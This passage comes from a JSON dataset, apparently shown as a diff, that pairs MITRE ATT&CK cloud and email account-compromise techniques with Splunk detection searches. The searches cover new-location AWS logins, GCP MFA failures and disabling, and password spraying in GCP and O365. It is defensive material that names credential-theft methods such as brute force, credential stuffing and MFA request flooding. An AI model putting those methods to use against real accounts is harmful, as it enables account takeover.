Access Management Account Takeover", - "Compromised User Account", - "Suspicious AWS Login Activities", - "Suspicious Cloud Authentication Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ is logging into the AWS console from City $City$ for the first time", - "risk_score": 18, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1535", - "mitre_attack_technique": "Unused/Unsupported Cloud Regions", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Detect AWS Console Login by User from New Country", - "description": "The following analytic identifies AWS console login events by users from a new country. It leverages AWS CloudTrail events and compares them against a lookup file of previously seen users and their login locations. This activity is significant because logins from new countries can indicate potential unauthorized access or compromised accounts. If confirmed malicious, this could lead to unauthorized access to AWS resources, data exfiltration, or further exploitation within the AWS environment.", - "search": "| tstats earliest(_time) as firstTime latest(_time) as lastTime from datamodel=Authentication where Authentication.signature=ConsoleLogin by Authentication.user Authentication.src | iplocation Authentication.src | `drop_dm_object_name(Authentication)` | rename Country as justSeenCountry | table firstTime lastTime user justSeenCountry | join user type=outer [| inputlookup previously_seen_users_console_logins | rename Country as previouslySeenCountry | stats min(firstTime) AS earliestseen by user previouslySeenCountry | fields earliestseen user previouslySeenCountry] | eval userCountry=if(firstTime >= relative_time(now(), \"-24h@h\"), \"New Country\",\"Previously Seen Country\") | where userCountry = \"New Country\" | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | table firstTime lastTime user previouslySeenCountry justSeenCountry userCountry | `detect_aws_console_login_by_user_from_new_country_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover", - "Compromised User Account", - "Suspicious AWS Login Activities", - "Suspicious Cloud Authentication Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ is logging into the AWS console from Country $Country$ for the first time", - "risk_score": 42, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1535", - "mitre_attack_technique": "Unused/Unsupported Cloud Regions", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Detect AWS Console Login by User from New Region", - "description": "The following analytic identifies AWS console login attempts by users from a new region. It leverages AWS CloudTrail events and compares current login regions against a baseline of previously seen regions for each user. This activity is significant as it may indicate unauthorized access attempts or compromised credentials. If confirmed malicious, an attacker could gain unauthorized access to AWS resources, potentially leading to data breaches, resource manipulation, or further lateral movement within the cloud environment.", - "search": "| tstats earliest(_time) as firstTime latest(_time) as lastTime from datamodel=Authentication where Authentication.signature=ConsoleLogin by Authentication.user Authentication.src | iplocation Authentication.src | `drop_dm_object_name(Authentication)` | rename Region as justSeenRegion | table firstTime lastTime user justSeenRegion | join user type=outer [| inputlookup previously_seen_users_console_logins | rename Region as previouslySeenRegion | stats min(firstTime) AS earliestseen by user previouslySeenRegion | fields earliestseen user previouslySeenRegion] | eval userRegion=if(firstTime >= relative_time(now(), \"-24h@h\"), \"New Region\",\"Previously Seen Region\") | where userRegion= \"New Region\" | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | table firstTime lastTime user previouslySeenRegion justSeenRegion userRegion | `detect_aws_console_login_by_user_from_new_region_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover", - "Compromised User Account", - "Suspicious AWS Login Activities", - "Suspicious Cloud Authentication Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ is logging into the AWS console from Region $Region$ for the first time", - "risk_score": 36, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1535", - "mitre_attack_technique": "Unused/Unsupported Cloud Regions", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "GCP Authentication Failed During MFA Challenge", - "description": "The following analytic detects failed authentication attempts during the Multi-Factor Authentication (MFA) challenge on a Google Cloud Platform (GCP) tenant. It uses Google Workspace login failure events to identify instances where MFA methods were challenged but not successfully completed. This activity is significant as it may indicate an adversary attempting to access an account with compromised credentials despite MFA protection. If confirmed malicious, this could lead to unauthorized access attempts, potentially compromising sensitive data and resources within the GCP environment.", - "search": " `gws_reports_login` event.name=login_failure `gws_login_mfa_methods` | stats count min(_time) as firstTime max(_time) as lastTime by user, src_ip, login_challenge_method | `gcp_authentication_failed_during_mfa_challenge_filter`", - "tags": { - "analytic_story": [ - "GCP Account Takeover" - ], - "asset_type": "Google Cloud Platform tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user$ failed to pass MFA challenge", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "GCP Multi-Factor Authentication Disabled", - "description": "The following analytic detects an attempt to disable multi-factor authentication (MFA) for a Google Cloud Platform (GCP) user. It leverages Google Workspace Admin log events, specifically the `UNENROLL_USER_FROM_STRONG_AUTH` command. This activity is significant because disabling MFA can allow an adversary to maintain persistence within the environment using a compromised account without raising suspicion. If confirmed malicious, this action could enable attackers to bypass additional security layers, potentially leading to unauthorized access, data exfiltration, or further exploitation of the compromised account.", - "search": "`gws_reports_admin` command=UNENROLL_USER_FROM_STRONG_AUTH | stats count min(_time) as firstTime max(_time) as lastTime by user, command, actor.email, status, id.applicationName, event.name, vendor_account, action | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `gcp_multi_factor_authentication_disabled_filter`", - "tags": { - "analytic_story": [ - "GCP Account Takeover" - ], - "asset_type": "GCP", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "actor.email", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "MFA disabled for User $user$ initiated by $actor.email$", - "risk_score": 45, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "GCP Multiple Failed MFA Requests For User", - "description": "The following analytic detects multiple failed multi-factor authentication (MFA) requests for a single user within a Google Cloud Platform (GCP) tenant. It triggers when 10 or more MFA prompts fail within a 5-minute window, using Google Workspace login failure events. This behavior is significant as it may indicate an adversary attempting to bypass MFA by bombarding the user with repeated authentication requests. If confirmed malicious, this activity could lead to unauthorized access, allowing attackers to compromise accounts and potentially escalate privileges within the GCP environment.", - "search": "`gws_reports_login` event.name=login_failure `gws_login_mfa_methods` | bucket span=5m _time | stats dc(_raw) AS mfa_prompts values(user) AS user by src_ip, login_challenge_method, _time | where mfa_prompts >= 10 | `gcp_multiple_failed_mfa_requests_for_user_filter`", - "tags": { - "analytic_story": [ - "GCP Account Takeover" - ], - "asset_type": "Google Cloud Platform tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Multiple Failed MFA requests for user $user$", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "GCP Multiple Users Failing To Authenticate From Ip", - "description": "The following analytic detects a single source IP address failing to authenticate into more than 20 unique Google Workspace user accounts within a 5-minute window. It leverages Google Workspace login failure events to identify potential password spraying attacks. This activity is significant as it may indicate an adversary attempting to gain unauthorized access or elevate privileges within the Google Cloud Platform. If confirmed malicious, this behavior could lead to unauthorized access to sensitive resources, data breaches, or further exploitation within the environment.", - "search": "`gws_reports_login` event.type = login event.name = login_failure | bucket span=5m _time | stats count dc(user) AS unique_accounts values(user) as tried_accounts values(authentication_method) AS authentication_method earliest(_time) as firstTime latest(_time) as lastTime by _time event.name src app id.applicationName | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where unique_accounts > 20 | `gcp_multiple_users_failing_to_authenticate_from_ip_filter`", - "tags": { - "analytic_story": [ - "GCP Account Takeover" - ], - "asset_type": "Google Cloud Platform tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "tried_accounts", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Multiple failed login attempts (Count: $unique_accounts$) against users seen from $src$", - "risk_score": 54, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "GCP Successful Single-Factor Authentication", - "description": "The following analytic identifies a successful single-factor authentication event against Google Cloud Platform (GCP) for an account without Multi-Factor Authentication (MFA) enabled. It uses Google Workspace login event data to detect instances where MFA is not utilized. This activity is significant as it may indicate a misconfiguration, policy violation, or potential account takeover attempt. If confirmed malicious, an attacker could gain unauthorized access to GCP resources, potentially leading to data breaches, service disruptions, or further exploitation within the cloud environment.", - "search": "`gws_reports_login` event.name=login_success NOT `gws_login_mfa_methods` | stats count min(_time) as firstTime max(_time) as lastTime by user, src_ip, login_challenge_method, app, event.name, vendor_account, action |`security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `gcp_successful_single_factor_authentication_filter`", - "tags": { - "analytic_story": [ - "GCP Account Takeover" - ], - "asset_type": "Google Cloud Platform tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Successful authentication for user $user$ without MFA", - "risk_score": 45, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "GCP Unusual Number of Failed Authentications From Ip", - "description": "The following analytic identifies a single source IP failing to authenticate into Google Workspace with multiple valid users, potentially indicating a Password Spraying attack. It uses Google Workspace login failure events and calculates the standard deviation for source IPs, applying the 3-sigma rule to detect unusual failed authentication attempts. This activity is significant as it may signal an adversary attempting to gain initial access or elevate privileges. If confirmed malicious, this could lead to unauthorized access, data breaches, or further exploitation within the environment.", - "search": "`gws_reports_login` event.type = login event.name = login_failure| bucket span=5m _time | stats dc(user_name) AS unique_accounts values(user_name) as tried_accounts values(authentication_method) AS authentication_method by _time, src | eventstats avg(unique_accounts) as ip_avg , stdev(unique_accounts) as ip_std by _time | eval upperBound=(ip_avg+ip_std*3) | eval isOutlier=if(unique_accounts > 10 and unique_accounts >= upperBound, 1, 0) | where isOutlier =1| `gcp_unusual_number_of_failed_authentications_from_ip_filter`", - "tags": { - "analytic_story": [ - "GCP Account Takeover" - ], - "asset_type": "Google Cloud Platform tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "tried_accounts", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Unusual number of failed console login attempts (Count: $unique_accounts$) against users from IP Address - $src$", - "risk_score": 54, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "O365 Multi-Source Failed Authentications Spike", - "description": "The following analytic identifies a spike in failed authentication attempts within an Office 365 environment, indicative of a potential distributed password spraying attack. It leverages UserLoginFailed events from O365 Management Activity logs, focusing on ErrorNumber 50126. This detection is significant as it highlights attempts to bypass security controls using multiple IP addresses and user agents. If confirmed malicious, this activity could lead to unauthorized access, data breaches, privilege escalation, and lateral movement within the organization. Early detection is crucial to prevent account takeovers and mitigate subsequent threats.", - "search": " `o365_management_activity` Workload=AzureActiveDirectory Operation=UserLoginFailed ErrorNumber=50126 | bucket span=5m _time | eval uniqueIPUserCombo = src_ip . \"-\" . user | stats dc(uniqueIPUserCombo) as uniqueIpUserCombinations, dc(user) as uniqueUsers, dc(src_ip) as uniqueIPs, values(user) as user, values(src_ip) as ips, values(user_agent) as user_agents by _time | where uniqueIpUserCombinations > 20 AND uniqueUsers > 20 AND uniqueIPs > 20 | `o365_multi_source_failed_authentications_spike_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group", - "Office 365 Account Takeover" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "An anomalous multi source authentication spike ocurred at $_time$", - "risk_score": 42, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "O365 Multiple Users Failing To Authenticate From Ip", - "description": "The following analytic identifies instances where more than 10 unique user accounts fail to authenticate from a single IP address within a 5-minute window. This detection leverages O365 audit logs, specifically Azure Active Directory login failures (AzureActiveDirectoryStsLogon). Such activity is significant as it may indicate brute-force attacks or password spraying attempts. If confirmed malicious, this behavior suggests an external entity is attempting to breach security by targeting multiple accounts, potentially leading to unauthorized access. Immediate action is required to block or monitor the suspicious IP and notify affected users to enhance their security measures.", - "search": " `o365_management_activity` Workload=AzureActiveDirectory Operation=UserLoginFailed ErrorNumber=50126 | bucket span=5m _time | stats dc(user) as unique_accounts values(user) as user values(LogonError) as LogonError values(signature) as signature values(UserAgent) as UserAgent by _time, src_ip | where unique_accounts > 10 | `o365_multiple_users_failing_to_authenticate_from_ip_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group", - "Office 365 Account Takeover" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Source Ip $src_ip$ failed to authenticate with 20 users within 5 minutes.", - "risk_score": 63, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - } - ], - "external_reference": [], - "controls": [], - "x_mitre_network_requirements": false, - "technique_id": "T1586.003", - "stix": "attack-pattern--3d52e51e-f6db-4719-813c-48002a99f43a" - }, - { - "id": "attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b", - "name": "Email Accounts", - "created": "2020-10-01T01:20:53.104Z", - "modified": "2023-04-11T01:07:48.218Z", - "type": "attack-pattern", - "x_mitre_data_sources": [], - "x_mitre_contributors": [ - "Tristan Bennett, Seamless Intelligence", - "Bryan Onel" - ], - "x_mitre_impact_type": [], - "x_mitre_deprecated": false, - "x_mitre_effective_permissions": [], - "x_mitre_remote_support": false, - "x_mitre_permissions_required": [], - "x_mitre_is_subtechnique": true, - "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", - "x_mitre_defense_bypassed": [], - "x_mitre_system_requirements": [], - "x_mitre_attack_spec_version": "3.1.0", - "revoked": false, - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "source_name": "mitre-attack", - "url": "https://attack.mitre.org/techniques/T1586/002", - "external_id": "T1586.002", - "description": "" - }, - { - "source_name": "AnonHBGary", - "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/", - "external_id": "", - "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017." - }, - { - "source_name": "Microsoft DEV-0537", - "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/", - "external_id": "", - "description": "Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022." - } - ], - "x_mitre_detectable_by_common_defenses": "", - "x_mitre_detectable_by_common_defenses_explanation": "", - "x_mitre_difficulty_for_adversary": "", - "x_mitre_difficulty_for_adversary_explanation": "", - "x_mitre_old_attack_id": "", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_platforms": [ - "PRE" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_tactic_type": [], - "x_mitre_version": "1.1", - "description": "Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or large-scale spam email campaigns. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).\n\nA variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries may target compromising well-known email accounts or domains from 